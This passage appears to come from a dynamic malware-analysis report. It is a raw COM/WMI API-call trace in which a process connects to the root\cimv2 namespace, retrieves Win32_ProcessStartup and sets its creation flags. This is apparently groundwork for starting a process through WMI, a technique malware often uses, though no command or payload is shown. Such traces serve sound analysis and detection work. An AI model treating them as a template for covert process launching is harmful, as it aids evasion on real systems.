riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0088.281] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021ea0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea06b0) returned 0x0 [0088.281] WbemDefPath:IUnknown:Release (This=0x1c021ea0) returned 0x0 [0088.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea06b0) returned 0x0 [0088.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0088.281] WbemDefPath:IUnknown:AddRef (This=0x1bea06b0) returned 0x3 [0088.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0088.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0088.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c021de0) returned 0x0 [0088.281] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021de0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.281] WbemDefPath:IUnknown:Release (This=0x1c021de0) returned 0x3 [0088.281] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0088.281] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0088.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0088.282] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x2 [0088.282] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x1 [0088.282] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0088.282] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0088.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea06b0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea06b0) returned 0x0 [0088.282] WbemDefPath:IUnknown:AddRef (This=0x1bea06b0) returned 0x3 [0088.282] WbemDefPath:IUnknown:Release (This=0x1bea06b0) returned 0x2 [0088.282] WbemDefPath:IWbemPath:SetText (This=0x1bea06b0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0088.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea06b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0088.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0088.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.282] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0088.282] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0088.282] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0088.282] IUnknown:Release (This=0x111f638) returned 0x1 [0088.283] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c021a40) returned 0x0 [0088.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021a40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0088.283] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c021a40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c021ba0) returned 0x0 [0088.283] WbemLocator:IUnknown:Release (This=0x1c021a40) returned 0x0 [0088.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c021ba0) returned 0x0 [0088.283] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0088.284] WbemLocator:IUnknown:AddRef (This=0x1c021ba0) returned 0x3 [0088.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0088.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0088.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0088.284] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0088.284] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0088.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0088.284] WbemLocator:IUnknown:Release (This=0x1c021ba0) returned 0x2 [0088.284] WbemLocator:IUnknown:Release (This=0x1c021ba0) returned 0x1 [0088.284] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0088.284] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0088.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1c021ba0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c021ba0) returned 0x0 [0088.284] WbemLocator:IUnknown:AddRef (This=0x1c021ba0) returned 0x3 [0088.284] WbemLocator:IUnknown:Release (This=0x1c021ba0) returned 0x2 [0088.284] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea06b0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0088.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0088.284] WbemDefPath:IWbemPath:GetText (in: This=0x1bea06b0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.284] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c021bc0) returned 0x0 [0088.284] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c021bc0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf002d0) returned 0x0 [0088.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf002d0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e04a0) returned 0x0 [0088.451] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e04a0, pProxy=0x1bf002d0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0088.451] WbemLocator:IUnknown:Release (This=0x11e04a0) returned 0x1 [0088.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf002d0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e04e0) returned 0x0 [0088.451] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf002d0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e04a0) returned 0x0 [0088.451] WbemLocator:IClientSecurity:SetBlanket (This=0x11e04a0, pProxy=0x1bf002d0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0088.451] WbemLocator:IUnknown:Release (This=0x11e04a0) returned 0x2 [0088.452] WbemLocator:IUnknown:Release (This=0x11e04e0) returned 0x1 [0088.452] CoTaskMemFree (pv=0x1bf3d100) [0088.452] WbemLocator:IUnknown:AddRef (This=0x1bf002d0) returned 0x2 [0088.452] WbemLocator:IUnknown:Release (This=0x1c021bc0) returned 0x0 [0088.452] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0088.452] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0088.452] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf002d0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e04b0) returned 0x0 [0088.452] WbemLocator:IRpcOptions:Query (in: This=0x11e04b0, pPrx=0x1c021b60, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0088.452] WbemLocator:IUnknown:Release (This=0x11e04b0) returned 0x2 [0088.453] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0088.453] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0088.453] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf002d0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf002d0) returned 0x0 [0088.453] WbemLocator:IUnknown:Release (This=0x1bf002d0) returned 0x2 [0088.453] SysStringLen (param_1=0x0) returned 0x0 [0088.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0088.453] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1430, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0088.453] IWbemServices:GetObject (in: This=0x1bf002d0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ed1d0, ppCallResult=0x0) returned 0x0 [0088.455] IWbemClassObject:Get (in: This=0x11ed1d0, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0088.455] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0088.455] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0088.455] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0088.455] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0088.455] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0088.455] IUnknown:Release (This=0x111f638) returned 0x1 [0088.457] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c021bc0) returned 0x0 [0088.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c021bc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0088.457] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c021bc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea12b0) returned 0x0 [0088.457] WbemDefPath:IUnknown:Release (This=0x1c021bc0) returned 0x0 [0088.457] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea12b0) returned 0x0 [0088.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0088.458] WbemDefPath:IUnknown:AddRef (This=0x1bea12b0) returned 0x3 [0088.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0088.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0088.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c021b20) returned 0x0 [0088.458] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c021b20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0088.458] WbemDefPath:IUnknown:Release (This=0x1c021b20) returned 0x3 [0088.458] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0088.458] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0088.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0088.458] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x2 [0088.458] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x1 [0088.458] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0088.458] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0088.458] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea12b0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea12b0) returned 0x0 [0088.458] WbemDefPath:IUnknown:AddRef (This=0x1bea12b0) returned 0x3 [0088.458] WbemDefPath:IUnknown:Release (This=0x1bea12b0) returned 0x2 [0088.459] WbemDefPath:IWbemPath:SetText (This=0x1bea12b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0088.459] IWbemClassObject:Get (in: This=0x11ed1d0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b89b8*=0, plFlavor=0x29b89bc*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b89b8*=19, plFlavor=0x29b89bc*=0) returned 0x0 [0088.459] IWbemClassObject:Get (in: This=0x11ed1d0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b89b8*=19, plFlavor=0x29b89bc*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b89b8*=19, plFlavor=0x29b89bc*=0) returned 0x0 [0088.459] IWbemClassObject:Put (This=0x11ed1d0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0088.459] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea14f0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0088.459] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0088.459] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0088.459] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0088.459] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0088.459] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0088.459] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: 